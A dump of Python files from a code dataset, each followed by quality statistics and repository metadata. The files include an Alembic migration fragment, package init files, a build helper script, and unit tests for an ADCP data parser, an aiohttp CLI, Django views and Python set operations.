sa.Column('unique_job_id', sa.String(length=64), nullable=True), sa.Column('stitch_id', sa.String(length=64), nullable=True), sa.Column('clip_number', sa.Integer(), nullable=True), sa.Column('clip_batch_number', sa.Integer(), nullable=True), sa.Column('concatenated_clip_id', sa.String(length=64), nullable=True), sa.Column('clip_well_id', sa.String(length=64), nullable=True), sa.Column('clip_barcode', sa.String(length=64), nullable=True), sa.Column('stitch_well_id', sa.String(length=64), nullable=True), sa.Column('stitch_plate_barcode', sa.String(length=64), nullable=True), sa.Column('stitch_plate_number', sa.Integer(), nullable=True), sa.Column('transfer_volume', sa.Integer(), nullable=True), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_ytk_stitch_list_clip_barcode'), 'ytk_stitch_list', ['clip_barcode'], unique=False) op.create_index(op.f('ix_ytk_stitch_list_clip_batch_number'), 'ytk_stitch_list', ['clip_batch_number'], unique=False) op.create_index(op.f('ix_ytk_stitch_list_clip_number'), 'ytk_stitch_list', ['clip_number'], unique=False) op.create_index(op.f('ix_ytk_stitch_list_clip_well_id'), 'ytk_stitch_list', ['clip_well_id'], unique=False) op.create_index(op.f('ix_ytk_stitch_list_concatenated_clip_id'), 'ytk_stitch_list', ['concatenated_clip_id'], unique=False) op.create_index(op.f('ix_ytk_stitch_list_stitch_id'), 'ytk_stitch_list', ['stitch_id'], unique=False) op.create_index(op.f('ix_ytk_stitch_list_stitch_plate_barcode'), 'ytk_stitch_list', ['stitch_plate_barcode'], unique=False) op.create_index(op.f('ix_ytk_stitch_list_stitch_plate_number'), 'ytk_stitch_list', ['stitch_plate_number'], unique=False) op.create_index(op.f('ix_ytk_stitch_list_stitch_well_id'), 'ytk_stitch_list', ['stitch_well_id'], unique=False) op.create_index(op.f('ix_ytk_stitch_list_transfer_volume'), 'ytk_stitch_list', ['transfer_volume'], unique=False) op.create_index(op.f('ix_ytk_stitch_list_unique_job_id'), 'ytk_stitch_list', ['unique_job_id'], unique=False) # ### end Alembic commands ### def downgrade(): # ### commands auto generated by Alembic - please adjust! ### op.drop_index(op.f('ix_ytk_stitch_list_unique_job_id'), table_name='ytk_stitch_list') op.drop_index(op.f('ix_ytk_stitch_list_transfer_volume'), table_name='ytk_stitch_list') op.drop_index(op.f('ix_ytk_stitch_list_stitch_well_id'), table_name='ytk_stitch_list') op.drop_index(op.f('ix_ytk_stitch_list_stitch_plate_number'), table_name='ytk_stitch_list') op.drop_index(op.f('ix_ytk_stitch_list_stitch_plate_barcode'), table_name='ytk_stitch_list') op.drop_index(op.f('ix_ytk_stitch_list_stitch_id'), table_name='ytk_stitch_list') op.drop_index(op.f('ix_ytk_stitch_list_concatenated_clip_id'), table_name='ytk_stitch_list') op.drop_index(op.f('ix_ytk_stitch_list_clip_well_id'), table_name='ytk_stitch_list') op.drop_index(op.f('ix_ytk_stitch_list_clip_number'), table_name='ytk_stitch_list') op.drop_index(op.f('ix_ytk_stitch_list_clip_batch_number'), table_name='ytk_stitch_list') op.drop_index(op.f('ix_ytk_stitch_list_clip_barcode'), table_name='ytk_stitch_list') op.drop_table('ytk_stitch_list') op.drop_index(op.f('ix_ytk_stitch_enzyme_unique_job_id'), table_name='ytk_stitch_enzyme') op.drop_index(op.f('ix_ytk_stitch_enzyme_transfer_volume'), table_name='ytk_stitch_enzyme') op.drop_index(op.f('ix_ytk_stitch_enzyme_stitch_well_id'), table_name='ytk_stitch_enzyme') op.drop_index(op.f('ix_ytk_stitch_enzyme_stitch_id'), table_name='ytk_stitch_enzyme') op.drop_index(op.f('ix_ytk_stitch_enzyme_stitch_barcode'), table_name='ytk_stitch_enzyme') op.drop_index(op.f('ix_ytk_stitch_enzyme_enzyme_plate_well_id'), table_name='ytk_stitch_enzyme') op.drop_index(op.f('ix_ytk_stitch_enzyme_enzyme_plate_number'), table_name='ytk_stitch_enzyme') op.drop_index(op.f('ix_ytk_stitch_enzyme_enzyme_plate_barcode'), table_name='ytk_stitch_enzyme') op.drop_table('ytk_stitch_enzyme') op.drop_index(op.f('ix_ytk_stitch_clone_well_number_96'), table_name='ytk_stitch_clone') op.drop_index(op.f('ix_ytk_stitch_clone_unique_job_id'), table_name='ytk_stitch_clone') op.drop_index(op.f('ix_ytk_stitch_clone_stitch_well_id'), table_name='ytk_stitch_clone') op.drop_index(op.f('ix_ytk_stitch_clone_stitch_plate_barcode'), table_name='ytk_stitch_clone') op.drop_index(op.f('ix_ytk_stitch_clone_stitch_id'), table_name='ytk_stitch_clone') op.drop_index(op.f('ix_ytk_stitch_clone_clone_plate_well_id_96'), table_name='ytk_stitch_clone') op.drop_index(op.f('ix_ytk_stitch_clone_clone_plate_barcode'), table_name='ytk_stitch_clone') op.drop_table('ytk_stitch_clone') op.drop_index(op.f('ix_ytk_job_master_level2_uploaded_filename'), table_name='ytk_job_master_level2') op.drop_index(op.f('ix_ytk_job_master_level2_unique_job_id'), table_name='ytk_job_master_level2') op.drop_index(op.f('ix_ytk_job_master_level2_sample_number'), table_name='ytk_job_master_level2') op.drop_index(op.f('ix_ytk_job_master_level2_part_id'), table_name='ytk_job_master_level2') op.drop_index(op.f('ix_ytk_job_master_level2_level1clone_plate_barcode'), table_name='ytk_job_master_level2') op.drop_index(op.f('ix_ytk_job_master_level2_level1clone_location_id'), table_name='ytk_job_master_level2') op.drop_index(op.f('ix_ytk_job_master_level2_job_master2_well_id'), table_name='ytk_job_master_level2') op.drop_index(op.f('ix_ytk_job_master_level2_job_master2_barcode'), table_name='ytk_job_master_level2') op.drop_table('ytk_job_master_level2') # ### end Alembic commands ###

74.510067

149

0.769951

1,778

11,102

4.349269

0.045557

0.128023

0.070348

0.087935

0.950343

0.923316

0.871977

0.824389

0.793353

0.759084

0

0.017489

0.083228

11,102

148

150

75.013514

0.742287

0.027202

0

0.169231

0

0.455821

0.280405

0

1

0.015385

false

0

0.015385

0

0.030769

0

null

0

1

0

null

0

6

976e1fc21756a47326ad5d608856b7aad98910d7

37

py

Python

suricata-4.1.4/python/suricata/sc/__init__.py

runtest007/dpdk_surcata_4.1.1

5abf91f483b418b5d9c2dd410b5c850d6ed95c5f

[ "MIT" ]

77

2019-06-17T07:05:07.000Z

2022-03-07T03:26:27.000Z

suricata-4.1.4/python/suricata/sc/__init__.py

clockdad/DPDK_SURICATA-4_1_1

974cc9eb54b0b1ab90eff12a95617e3e293b77d3

[ "MIT" ]

22

2019-07-18T02:32:10.000Z

2022-03-24T03:39:11.000Z

suricata-4.1.4/python/suricata/sc/__init__.py

clockdad/DPDK_SURICATA-4_1_1

974cc9eb54b0b1ab90eff12a95617e3e293b77d3

[ "MIT" ]

49

2019-06-18T03:31:56.000Z

2022-03-13T05:23:10.000Z

from suricata.sc.suricatasc import *

18.5

36

0.810811

5

37

6

1

0

0.108108

37

1

37

0.909091

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

9796c7708bd029f88262b3f2d834eacab11f2776

34

py

Python

TorchProteinLibrary/Volume/VolumeRMSD/__init__.py

anushriya/TorchProteinLibrary

889b5594920b4b91bef40edaf478a4584e6ccd7d

[ "MIT" ]

96

2018-10-18T20:08:32.000Z

2021-09-27T11:31:25.000Z

TorchProteinLibrary/Volume/VolumeRMSD/__init__.py

anushriya/TorchProteinLibrary

889b5594920b4b91bef40edaf478a4584e6ccd7d

[ "MIT" ]

24

2018-10-19T13:59:21.000Z

2021-08-04T16:13:48.000Z

TorchProteinLibrary/Volume/VolumeRMSD/__init__.py

anushriya/TorchProteinLibrary

889b5594920b4b91bef40edaf478a4584e6ccd7d

[ "MIT" ]

23

2018-12-06T06:17:18.000Z

2021-10-05T12:46:34.000Z

from .VolumeRMSD import VolumeRMSD

34

0.882353

4

34

7.5

0.75

0

0.088235

34

1

34

0.967742

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

8af904c42068b0c8c187c16a313750c7afa2dbc9

61

py

Python

upfork/__init__.py

lambdaxymox/upfork

c6eb5cb72d4f6c7f94321aad58fcb8f19f6fa9fa

[ "Apache-2.0", "MIT" ]

null

upfork/__init__.py

lambdaxymox/upfork

c6eb5cb72d4f6c7f94321aad58fcb8f19f6fa9fa

[ "Apache-2.0", "MIT" ]

null

upfork/__init__.py

lambdaxymox/upfork

c6eb5cb72d4f6c7f94321aad58fcb8f19f6fa9fa

[ "Apache-2.0", "MIT" ]

null

from . import upfork def upfork_main(): upfork.main()

10.166667

21

0.655738

8

61

4.875

0.625

0.512821

0

0.229508

61

5

22

12.2

0.829787

0

1

0.333333

true

0

0.333333

0

0.666667

0

1

0

null

1

0

1

0

null

0

1

0

1

0

6

c1a2a03ff7aba993fe925366d0919a22098fa06d

26

py

Python

synchron/udemywidget/__init__.py

sequencecentral/Synchronicity2

cc3a02fe7540ac5f717a106edeaa3e67e76febb7

[ "MIT" ]

null

synchron/udemywidget/__init__.py

sequencecentral/Synchronicity2

cc3a02fe7540ac5f717a106edeaa3e67e76febb7

[ "MIT" ]

null

synchron/udemywidget/__init__.py

sequencecentral/Synchronicity2

cc3a02fe7540ac5f717a106edeaa3e67e76febb7

[ "MIT" ]

null

from .udemywidget import *

26

0.807692

3

26

7

1

0

0.115385

26

1

26

0.913043

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

c1ad8e0b64190b52d8473bc8e0fa6097c67a4b12

69

py

Python

neslter/__init__.py

WHOIGit/nes-lter-ims

d4cc96c10da56ca33286af84d669625b67170522

[ "MIT" ]

3

2019-01-24T16:32:50.000Z

2021-11-05T02:18:12.000Z

neslter/__init__.py

WHOIGit/nes-lter-ims

d4cc96c10da56ca33286af84d669625b67170522

[ "MIT" ]

45

2019-05-23T15:15:32.000Z

2022-03-15T14:09:20.000Z

neslter/__init__.py

WHOIGit/nes-lter-ims

d4cc96c10da56ca33286af84d669625b67170522

[ "MIT" ]

null

from neslter.parsing.files import Resolver # FIXME move to workflow

23

67

0.811594

10

69

5.6

1

0

0.144928

69

2

68

34.5

0.949153

0.318841

0

0.5

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

1

0

6

a9ca1df8f58d050a903642beef41fce126230751

126

py

Python

routers/__init__.py

pinchXOXO/Pexon-Rest-API

b7310693ff88a3e22c5e9eee8589f4a79aba97a5

[ "MIT" ]

14

2021-03-16T15:48:52.000Z

2021-07-20T10:53:32.000Z

routers/__init__.py

pinchXOXO/Pexon-Rest-API

b7310693ff88a3e22c5e9eee8589f4a79aba97a5

[ "MIT" ]

1

2021-03-18T02:27:36.000Z

2021-03-20T16:17:31.000Z

routers/__init__.py

pinchXOXO/Pexon-Rest-API

b7310693ff88a3e22c5e9eee8589f4a79aba97a5

[ "MIT" ]

4

2021-03-17T06:18:00.000Z

2021-04-14T11:13:29.000Z

from .user import user_router from .login import login_router from .signup import signup_router from .todo import todo_router

25.2

33

0.84127

20

126

5.1

0.35

0.294118

0

0.126984

126

4

34

31.5

0.927273

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

e714c59700ee301507e6458768955f51f29535b8

45

py

Python

rpyc_mem/session/__init__.py

m0hithreddy/rpyc-mem

72e46da34fe2165a89d702a02ec0bb7b6d64775e

[ "MIT" ]

1

2022-03-12T23:29:13.000Z

rpyc_mem/session/__init__.py

m0hithreddy/rpyc-mem

72e46da34fe2165a89d702a02ec0bb7b6d64775e

[ "MIT" ]

null

rpyc_mem/session/__init__.py

m0hithreddy/rpyc-mem

72e46da34fe2165a89d702a02ec0bb7b6d64775e

[ "MIT" ]

null

from .rpyc_mem_session import RpycMemSession

22.5

44

0.888889

6

45

6.333333

1

0

0.088889

45

1

45

0.926829

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

e72a7cdd88b2fa4cd4bdcba1d02c059ff6bc9c4e

206

py

Python

command.py

synsis/m3u8_downloader

7c7fb3b7230051b92102d8c3f786f1d0194c3260

[ "MIT" ]

4

2019-03-12T10:07:52.000Z

2021-02-20T19:21:43.000Z

command.py

synsis/m3u8_downloader

7c7fb3b7230051b92102d8c3f786f1d0194c3260

[ "MIT" ]

1

2019-06-23T04:00:38.000Z

command.py

synsis/m3u8_downloader

7c7fb3b7230051b92102d8c3f786f1d0194c3260

[ "MIT" ]

2

2019-03-30T20:20:30.000Z

2020-07-04T12:50:42.000Z

import os os.system("pip uninstall m3u8-video-downloader") os.system("python setup.py sdist") #os.system("python setup.py install") # os.system("m3u8-video-downloader") # os.system("twine upload dist/*")

22.888889

48

0.73301

31

206

4.870968

0.516129

0.264901

0.251656

0.278146

0.582781

0

0.02139

0.092233

206

8

49

25.75

0.786096

0.504854

0

0.565657

0.212121

0

1

0

true

0

0.333333

0

0.333333

0

null

1

0

1

0

null

0

1

0

1

0

6

e74b108e20c7bc84a9c0232dfebf64faec5d1b27

12,103

py

Python

mi/dataset/parser/test/test_adcps_jln_stc.py

ronkyo/mi-dataset

5ee2d3a5b66c17500e5f7f1b3e4ba7a996a34c45

[ "BSD-2-Clause" ]

null

mi/dataset/parser/test/test_adcps_jln_stc.py

ronkyo/mi-dataset

5ee2d3a5b66c17500e5f7f1b3e4ba7a996a34c45

[ "BSD-2-Clause" ]

null

mi/dataset/parser/test/test_adcps_jln_stc.py

ronkyo/mi-dataset

5ee2d3a5b66c17500e5f7f1b3e4ba7a996a34c45

[ "BSD-2-Clause" ]

null

#!/usr/bin/env python """ @package mi.dataset.parser.test.test_adcps_jln_stc @file marine-integrations/mi/dataset/parser/test/test_adcps_jln_stc.py @author Maria Lutz @brief Test code for a adcps_jln_stc data parser """ import os from nose.plugins.attrib import attr from mi.core.exceptions import SampleException from mi.core.log import get_logger log = get_logger() from mi.idk.config import Config from mi.dataset.test.test_parser import ParserUnitTestCase from mi.dataset.dataset_parser import DataSetDriverConfigKeys from mi.dataset.parser.adcps_jln_stc import AdcpsJlnStcParser, \ AdcpsJlnStcInstrumentTelemeteredDataParticle, \ AdcpsJlnStcInstrumentRecoveredDataParticle, \ AdcpsJlnStcMetadataTelemeteredDataParticle, \ AdcpsJlnStcMetadataRecoveredDataParticle, \ AdcpsJlnStcParticleClassKey RESOURCE_PATH = os.path.join(Config().base_dir(), 'mi', 'dataset', 'driver', 'adcps_jln', 'stc', 'resource') @attr('UNIT', group='mi') class AdcpsJlnStcParserUnitTestCase(ParserUnitTestCase): """ adcps_jln_stc Parser unit test suite """ def setUp(self): ParserUnitTestCase.setUp(self) self._telem_config = { DataSetDriverConfigKeys.PARTICLE_MODULE: 'mi.dataset.parser.adcps_jln_stc', DataSetDriverConfigKeys.PARTICLE_CLASS: None, DataSetDriverConfigKeys.PARTICLE_CLASSES_DICT: { AdcpsJlnStcParticleClassKey.METADATA_PARTICLE_CLASS: AdcpsJlnStcMetadataTelemeteredDataParticle, AdcpsJlnStcParticleClassKey.INSTRUMENT_PARTICLE_CLASS: AdcpsJlnStcInstrumentTelemeteredDataParticle, } } self._recov_config = { DataSetDriverConfigKeys.PARTICLE_MODULE: 'mi.dataset.parser.adcps_jln_stc', DataSetDriverConfigKeys.PARTICLE_CLASS: None, DataSetDriverConfigKeys.PARTICLE_CLASSES_DICT: { AdcpsJlnStcParticleClassKey.METADATA_PARTICLE_CLASS: AdcpsJlnStcMetadataRecoveredDataParticle, AdcpsJlnStcParticleClassKey.INSTRUMENT_PARTICLE_CLASS: AdcpsJlnStcInstrumentRecoveredDataParticle, } } def test_simple(self): """ Read test data and pull out multiple data particles at one time. Assert that the results are those we expected. """ with open(os.path.join(RESOURCE_PATH, 'adcpt_20130929_091817.DAT')) as file_handle: parser = AdcpsJlnStcParser(self._telem_config, None, file_handle, lambda state, ingested: None, lambda data: None, self.exception_callback) result = parser.get_records(6) self.assert_particles(result, 'adcpt_20130929_091817.telem.yml', RESOURCE_PATH) self.assertEquals(len(self.exception_callback_value), 0) with open(os.path.join(RESOURCE_PATH, 'adcpt_20130929_091817.DAT')) as file_handle: parser = AdcpsJlnStcParser(self._recov_config, None, file_handle, lambda state, ingested: None, lambda data: None, self.exception_callback) result = parser.get_records(6) self.assert_particles(result, 'adcpt_20130929_091817.recov.yml', RESOURCE_PATH) self.assertEquals(len(self.exception_callback_value), 0) def test_bad_data_telem(self): """ Ensure that bad data is skipped when it exists. """ # Bad checksum # If checksum is bad, skip the record and continue parsing. with open(os.path.join(RESOURCE_PATH, 'adcps_jln_stc.bad_checksum.DAT'), 'r') as file_handle: parser = AdcpsJlnStcParser(self._telem_config, None, file_handle, lambda state, ingested: None, lambda data: None, self.exception_callback) result = parser.get_records(10) self.assert_particles(result, 'adcps_jln_stc.bad_checksum.telem.yml', RESOURCE_PATH) self.assertEquals(len(self.exception_callback_value), 1) self.assert_(isinstance(self.exception_callback_value[0], SampleException)) self.exception_callback_value.pop() # Incorrect number of bytes # If numbytes is incorrect, skip the record and continue parsing. with open(os.path.join(RESOURCE_PATH, 'adcps_jln_stc.bad_num_bytes.DAT'), 'r') as file_handle: parser = AdcpsJlnStcParser(self._telem_config, None, file_handle, lambda state, ingested: None, lambda data: None, self.exception_callback) result = parser.get_records(10) self.assert_particles(result, 'adcps_jln_stc.bad_num_bytes.telem.yml', RESOURCE_PATH) self.assertEquals(len(self.exception_callback_value), 1) self.assert_(isinstance(self.exception_callback_value[0], SampleException)) def test_bad_data_recov(self): """ Ensure that bad data is skipped when it exists. """ # Bad checksum # If checksum is bad, skip the record and continue parsing. with open(os.path.join(RESOURCE_PATH, 'adcps_jln_stc.bad_checksum.DAT'), 'r') as file_handle: parser = AdcpsJlnStcParser(self._recov_config, None, file_handle, lambda state, ingested: None, lambda data: None, self.exception_callback) result = parser.get_records(10) self.assert_particles(result, 'adcps_jln_stc.bad_checksum.recov.yml', RESOURCE_PATH) self.assertEquals(len(self.exception_callback_value), 1) self.assert_(isinstance(self.exception_callback_value[0], SampleException)) self.exception_callback_value.pop() # Incorrect number of bytes # If numbytes is incorrect, skip the record and continue parsing. with open(os.path.join(RESOURCE_PATH, 'adcps_jln_stc.bad_num_bytes.DAT'), 'r') as file_handle: parser = AdcpsJlnStcParser(self._recov_config, None, file_handle, lambda state, ingested: None, lambda data: None, self.exception_callback) result = parser.get_records(10) self.assert_particles(result, 'adcps_jln_stc.bad_num_bytes.recov.yml', RESOURCE_PATH) self.assertEquals(len(self.exception_callback_value), 1) self.assert_(isinstance(self.exception_callback_value[0], SampleException)) def test_receive_fail_telem(self): # ReceiveFailure # If record marked with 'ReceiveFailure', skip the record and continue parsing. with open(os.path.join(RESOURCE_PATH, 'adcps_jln_stc.bad_rx_failure.DAT'), 'r') as file_handle: parser = AdcpsJlnStcParser(self._telem_config, None, file_handle, lambda state, ingested: None, lambda data: None, self.exception_callback) result = parser.get_records(10) self.assert_particles(result, 'adcps_jln_stc.bad_rx_failure.telem.yml', RESOURCE_PATH) self.assertEquals(len(self.exception_callback_value), 0) def test_receive_fail_telem(self): # ReceiveFailure # If record marked with 'ReceiveFailure', skip the record and continue parsing. with open(os.path.join(RESOURCE_PATH, 'adcps_jln_stc.bad_rx_failure.DAT'), 'r') as file_handle: parser = AdcpsJlnStcParser(self._recov_config, None, file_handle, lambda state, ingested: None, lambda data: None, self.exception_callback) result = parser.get_records(10) self.assert_particles(result, 'adcps_jln_stc.bad_rx_failure.recov.yml', RESOURCE_PATH) self.assertEquals(len(self.exception_callback_value), 0) def test_real_file(self): with open(os.path.join(RESOURCE_PATH, 'adcpt_20140504_015742.DAT'), 'r') as file_handle: parser = AdcpsJlnStcParser(self._telem_config, None, file_handle, lambda state, ingested: None, lambda data: None, self.exception_callback) result = parser.get_records(1000) self.assert_particles(result, 'adcpt_20140504_015742.telem.yml', RESOURCE_PATH) self.assertEquals(len(self.exception_callback_value), 0) with open(os.path.join(RESOURCE_PATH, 'adcpt_20140504_015742.DAT'), 'r') as file_handle: parser = AdcpsJlnStcParser(self._recov_config, None, file_handle, lambda state, ingested: None, lambda data: None, self.exception_callback) result = parser.get_records(1000) self.assert_particles(result, 'adcpt_20140504_015742.recov.yml', RESOURCE_PATH) self.assertEquals(len(self.exception_callback_value), 0) def test_bug_2979_1(self): """ Read test data and pull out multiple data particles at one time. Assert that the results are those we expected. """ with open(os.path.join(RESOURCE_PATH, 'adcpt_20140613_105345.DAT')) as file_handle: parser = AdcpsJlnStcParser(self._telem_config, None, file_handle, lambda state, ingested: None, lambda data: None, self.exception_callback) result = parser.get_records(100) self.assertEquals(len(result), 13) self.assertEquals(len(self.exception_callback_value), 0) def test_bug_2979_2(self): """ Read test data and pull out multiple data particles at one time. Assert that the results are those we expected. """ with open(os.path.join(RESOURCE_PATH, 'adcpt_20140707_200310.DAT')) as file_handle: parser = AdcpsJlnStcParser(self._telem_config, None, file_handle, lambda state, ingested: None, lambda data: None, self.exception_callback) result = parser.get_records(100) self.assertEquals(len(result), 0) self.assertEquals(len(self.exception_callback_value), 0)

43.851449

104

0.557217

1,137

12,103

5.692172

0.133685

0.06026

0.097342

0.072312

0.822775

0.818758

0.801143

0

0.025945

0.372635

12,103

275

105

44.010909

0.826419

0.098075

0

0.7

0

0.075769

0.071087

0

0.164706

1

0.052941

false

0

0.047059

0

0.105882

0

null

0

1

0

null

0

6

99b7c52aef78481e5522b15a1f211a4f714489d7

3,367

py

Python

tests/test_web_cli.py

ajdavis/aiohttp

d5138978f3e82aa82a2f003b00d38112c58a40c1

[ "Apache-2.0" ]

1

2021-07-07T06:36:57.000Z

tests/test_web_cli.py

ajdavis/aiohttp

d5138978f3e82aa82a2f003b00d38112c58a40c1

[ "Apache-2.0" ]

null

tests/test_web_cli.py

ajdavis/aiohttp

d5138978f3e82aa82a2f003b00d38112c58a40c1

[ "Apache-2.0" ]

1

2021-02-09T10:05:59.000Z

import pytest from aiohttp import web from unittest import mock @mock.patch("aiohttp.web.ArgumentParser.error", side_effect=SystemExit) def test_entry_func_empty(error): argv = [""] with pytest.raises(SystemExit): web.main(argv) error.assert_called_with( "'entry-func' not in 'module:function' syntax" ) @mock.patch("aiohttp.web.ArgumentParser.error", side_effect=SystemExit) def test_entry_func_only_module(error): argv = ["test"] with pytest.raises(SystemExit): web.main(argv) error.assert_called_with( "'entry-func' not in 'module:function' syntax" ) @mock.patch("aiohttp.web.ArgumentParser.error", side_effect=SystemExit) def test_entry_func_only_function(error): argv = [":test"] with pytest.raises(SystemExit): web.main(argv) error.assert_called_with( "'entry-func' not in 'module:function' syntax" ) @mock.patch("aiohttp.web.ArgumentParser.error", side_effect=SystemExit) def test_entry_func_only_seperator(error): argv = [":"] with pytest.raises(SystemExit): web.main(argv) error.assert_called_with( "'entry-func' not in 'module:function' syntax" ) @mock.patch("aiohttp.web.ArgumentParser.error", side_effect=SystemExit) def test_entry_func_relative_module(error): argv = [".a.b:c"] with pytest.raises(SystemExit): web.main(argv) error.assert_called_with("relative module names not supported") @mock.patch("aiohttp.web.import_module", side_effect=ImportError) @mock.patch("aiohttp.web.ArgumentParser.error", side_effect=SystemExit) def test_entry_func_non_existent_module(error, import_module): argv = ["alpha.beta:func"] with pytest.raises(SystemExit): web.main(argv) error.assert_called_with("module %r not found" % "alpha.beta") @mock.patch("aiohttp.web.import_module") @mock.patch("aiohttp.web.ArgumentParser.error", side_effect=SystemExit) def test_entry_func_non_existent_attribute(error, import_module): argv = ["alpha.beta:func"] module = import_module("alpha.beta") del module.func with pytest.raises(SystemExit): web.main(argv) error.assert_called_with( "module %r has no attribute %r" % ("alpha.beta", "func") ) @mock.patch("aiohttp.web.run_app") @mock.patch("aiohttp.web.import_module") def test_entry_func_call(import_module, run_app): argv = ("-H testhost -P 6666 --extra-optional-eins alpha.beta:func " "--extra-optional-zwei extra positional args").split() module = import_module("alpha.beta") with pytest.raises(SystemExit): web.main(argv) module.func.assert_called_with( ("--extra-optional-eins --extra-optional-zwei extra positional " "args").split() ) @mock.patch("aiohttp.web.run_app") @mock.patch("aiohttp.web.import_module") @mock.patch("aiohttp.web.ArgumentParser.exit", side_effect=SystemExit) def test_running_application(exit, import_module, run_app): argv = ("-H testhost -P 6666 --extra-optional-eins alpha.beta:func " "--extra-optional-zwei extra positional args").split() module = import_module("alpha.beta") app = module.func() with pytest.raises(SystemExit): web.main(argv) run_app.assert_called_with(app, host="testhost", port=6666) exit.assert_called_with(message="Stopped\n")

27.598361

72

0.700327

439

3,367

5.191344

0.159453

0.055287

0.098289

0.116718

0.826678

0.802984

0.789381

0.727073

0.703817

0

0.004264

0.164241

3,367

121

73

27.826446

0.805615

0

0.578313

0

0.307692

0.142857

0

0.120482

1

0.108434

false

0

0.168675

0

0.277108

0

null

0

1

0

null

0

6

823d3e389e32bf46445c9861aae80fa71d4494c5

2,113

py

Python

misclientes/tests.py

mrbrazzi/django-misclientes

8017cc67e243e4384c3f52ae73d06e16f8fb8d5b

[ "Apache-2.0" ]

5

2019-11-12T20:35:37.000Z

2022-03-11T15:02:48.000Z

misclientes/tests.py

mrbrazzi/django-misclientes

8017cc67e243e4384c3f52ae73d06e16f8fb8d5b

[ "Apache-2.0" ]

4

2019-11-11T15:33:42.000Z

2022-01-13T01:50:23.000Z

misclientes/tests.py

mrbrazzi/django-misclientes

8017cc67e243e4384c3f52ae73d06e16f8fb8d5b

[ "Apache-2.0" ]

4

2019-11-11T16:13:20.000Z

2020-04-02T18:32:06.000Z

from django.test import TestCase from .models import Enterprise # Create your tests here. from django.contrib.auth.models import AnonymousUser, User from django.test import RequestFactory, TestCase from .views import index, deletemodel class AuthTest(TestCase): def setUp(self): # Every test needs access to the request factory. self.factory = RequestFactory() self.user = User.objects.create_user( username='jacob', email='jacob@…', password='top_secret') def test_auth_index_view(self): # Create an instance of a GET request. request = self.factory.get('index') # Recall that middleware are not supported. You can simulate a # logged-in user by setting request.user manually. request.user = self.user # Or you can simulate an anonymous user by setting request.user to # an AnonymousUser instance. #request.user = AnonymousUser() # Test my_view() as if it were deployed at /customer/details response = index(request) # Use this syntax for class-based views. self.assertEqual(response.status_code, 200) class DeleteModelTest(TestCase): def setUp(self): # Every test needs access to the request factory. self.factory = RequestFactory() self.user = User.objects.create_user( username='jacob', email='jacob@…', password='top_secret') def test_delete_model_view(self): # Create an instance of a GET request. request = self.factory.get('deletemodel/42') # Recall that middleware are not supported. You can simulate a # logged-in user by setting request.user manually. #request.user = self.user # Or you can simulate an anonymous user by setting request.user to # an AnonymousUser instance. request.user = AnonymousUser() # Test my_view() as if it were deployed at /customer/details response = deletemodel(request) # Use this syntax for class-based views. self.assertEqual(response.status_code, 200)

35.216667

74

0.664931

265

2,113

5.271698

0.316981

0.062992

0.040086

0.057266

0.797423

0

0.005089

0.256034

2,113

60

75

35.216667

0.879771

0.400852

0

0.4

0

0.050521

0

0.08

1

0.16

false

0.08

0.2

0

0.44

0

null

0

1

0

null

0

1

0

6

413b19012990114edf43266acce810e798a76153

133

py

Python

flask_locate/main/__init__.py

abkfenris/flask-locate

d7295da6fbe65a5cd6047067bca07d9198954ec6

[ "MIT" ]

null

flask_locate/main/__init__.py

abkfenris/flask-locate

d7295da6fbe65a5cd6047067bca07d9198954ec6

[ "MIT" ]

null

flask_locate/main/__init__.py

abkfenris/flask-locate

d7295da6fbe65a5cd6047067bca07d9198954ec6

[ "MIT" ]

null

""" Main public interface to the website """ from flask import Blueprint main = Blueprint('main', __name__) from . import (views)

13.3

36

0.714286

17

133

5.352941

0.705882

0.285714

0

0.172932

133

9

37

14.777778

0.827273

0.270677

0

0.044944

0

1

0

false

0

0.666667

0

0.666667

1

0

null

1

0

1

0

null

0

1

0

1

0

6

41938f7e871cb62fb94c5c7176f259f3e317d02b

1,475

py

Python

test/unit/test_set.py

timmartin/skulpt

2e3a3fbbaccc12baa29094a717ceec491a8a6750

[ "MIT" ]

2,671

2015-01-03T08:23:25.000Z

2022-03-31T06:15:48.000Z

test/unit/test_set.py

timmartin/skulpt

2e3a3fbbaccc12baa29094a717ceec491a8a6750

[ "MIT" ]

972

2015-01-05T08:11:00.000Z

2022-03-29T13:47:15.000Z

test/unit/test_set.py

timmartin/skulpt

2e3a3fbbaccc12baa29094a717ceec491a8a6750

[ "MIT" ]

845

2015-01-03T19:53:36.000Z

2022-03-29T18:34:22.000Z

import sys import unittest import math class SetTestCases(unittest.TestCase): def test_or(self): self.assertEqual(set('abcba') | set('cdc'), set('abcd')) self.assertEqual(set('abcba') | set('efgfe'), set('abcefg')) self.assertEqual(set('abcba') | set('ccb'), set('abc')) self.assertEqual(set('abcba') | set('ef'), set('abcef')) self.assertEqual(set('abcba') | set('ef') | set('fg'), set('abcefg')) def test_and(self): self.assertEqual(set('abcba') & set('cdc'), set('cc')) self.assertEqual(set('abcba') & set('efgfe'), set('')) self.assertEqual(set('abcba') & set('ccb'), set('bc')) self.assertEqual(set('abcba') & set('ef'), set('')) self.assertEqual(set('abcba') & set('cbcf') & set('bag'), set('b')) def test_sub(self): self.assertEqual(set('abcba') - set('cdc'), set('ab')) self.assertEqual(set('abcba') - set('efgfe'), set('abc')) self.assertEqual(set('abcba') - set('ccb'), set('a')) self.assertEqual(set('abcba') - set('ef'), set('abc')) self.assertEqual(set('abcba') - set('a') - set('b'), set('c')) def test_xor(self): self.assertEqual(set('abcba') ^ set('cdc'), set('abd')) self.assertEqual(set('abcba') ^ set('efgfe'), set('abcefg')) self.assertEqual(set('abcba') ^ set('ccb'), set('a')) self.assertEqual(set('abcba') ^ set('ef'), set('abcef')) if __name__ == '__main__': unittest.main()

43.382353

77

0.565424

187

1,475

4.395722

0.203209

0.346715

0.416058

0.53163

0.788321

0.756691

0.517032

0.291971

0

0.189153

1,475

34

78

43.382353

0.687291

0

0.150407

0

0.655172

1

0.137931

false

0

0.103448

0

0.275862

0

null

1

0

1

0

null

0

1

0

6

